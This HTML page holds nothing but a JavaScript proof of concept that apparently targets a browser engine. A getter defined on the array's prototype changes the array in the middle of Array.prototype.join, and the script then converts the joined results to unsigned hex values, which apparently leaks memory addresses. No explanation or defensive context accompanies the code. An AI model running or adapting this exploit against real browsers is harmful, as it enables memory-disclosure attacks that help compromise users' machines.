|
|
<html><body><script>
|
| var y = 0;
| var t = new Array(1,2,3);
| t.length = 100;
| var o = {};
| Object.defineProperty(o, '3', {
| get: function() {
| alert('get!');
| t[0] = {};
| var j = [];
| for(var i = 0; i < 100; i++){
| t[i] = {a : i};
| }
| return 7;
| }
| });
|
| t.__proto__ = o;
|
| var j = [];
| var s = j.join.call(t);
| alert(s);
| var a = s.split(",");
| var h = [];
| for(item in a){
| var n = parseInt(a[item]);
| if (n < 0){
| n = n + 0x100000000;
| }
| var ss = n.toString(16);
| h.push(ss);
| }
| alert(h);
|
| </script></body></html>
|
|